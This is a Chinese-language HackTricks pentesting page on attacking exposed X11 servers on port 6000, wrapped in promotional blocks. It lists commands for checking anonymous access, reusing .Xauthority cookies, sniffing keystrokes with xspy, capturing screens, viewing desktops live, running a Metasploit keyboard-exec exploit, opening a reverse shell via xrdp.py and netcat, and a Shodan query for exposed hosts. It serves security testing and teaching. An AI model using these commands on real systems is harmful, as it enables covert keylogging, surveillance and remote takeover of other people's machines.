hacktricks/network-services-pentesting/6000-pentesting-x11.md

175 lines
6.7 KiB
Markdown
Raw Normal View History

# 6000 - Pentesting X11
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
其他支持HackTricks的方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
2023-02-27 09:28:45 +00:00
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
2023-02-27 09:28:45 +00:00
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
2023-07-14 15:03:41 +00:00
**最新公告**\
了解最新的赏金计划发布和重要平台更新
2023-07-14 15:03:41 +00:00
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
2022-11-05 09:07:43 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
**X Window系统**X是一种多功能窗口系统在基于UNIX的操作系统中广泛使用。它提供了一个框架用于创建图形**用户界面GUI**各个程序处理用户界面设计。这种灵活性允许在X环境中获得多样化和可定制的体验。
**默认端口:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2023-08-03 19:12:22 +00:00
## 枚举
2023-08-03 19:12:22 +00:00
检查**匿名连接:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2023-08-03 19:12:22 +00:00
#### 本地枚举
用户主目录中的文件 **`.Xauthority`** 被 **X11 用于授权**。来自 [**这里**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: 生成128位密钥“cookie”将其存储在\~/.Xauthority或XAUTHORITY环境变量指向的位置。客户端以明文形式将其发送到服务器服务器检查是否有此“cookie”的副本如果有则允许连接。密钥由DMX生成。
{% hint style="warning" %}
为了**使用cookie**,您应该设置环境变量:**`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### 本地枚举会话
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
2023-08-03 19:12:22 +00:00
## 验证连接
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2023-08-03 19:12:22 +00:00
## 键盘记录
使用[xspy](http://tools.kali.org/sniffingspoofing/xspy)来嗅探键盘按键。
2023-08-03 19:12:22 +00:00
示例输出:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## 截图捕获
2023-08-03 19:12:22 +00:00
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## 远程桌面查看
来源:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2023-08-03 19:12:22 +00:00
```
./xrdp.py <IP:0>
```
从:[https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
2023-08-03 19:12:22 +00:00
首先,我们需要使用 xwininfo 命令来查找窗口的 ID。
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
2023-08-03 19:12:22 +00:00
对于**实时查看**,我们需要使用
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2023-08-03 19:12:22 +00:00
## 获取Shell
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**反向Shell** Xrdp还允许通过Netcat获取反向shell。键入以下命令
```bash
./xrdp.py \<IP:0> no-disp
```
在界面中,您可以看到**R-shell选项**。
然后在本地系统上的端口5555上启动一个**Netcat监听器**。
```bash
nc -lvp 5555
```
然后,在**R-Shell**选项中放入您的IP地址和端口然后点击**R-shell**以获取shell
## 参考资料
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
2022-11-05 09:07:43 +00:00
**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
2023-02-27 09:28:45 +00:00
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
2023-02-27 09:28:45 +00:00
**最新公告**\
了解最新的赏金计划发布和重要平台更新
2023-02-27 09:28:45 +00:00
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!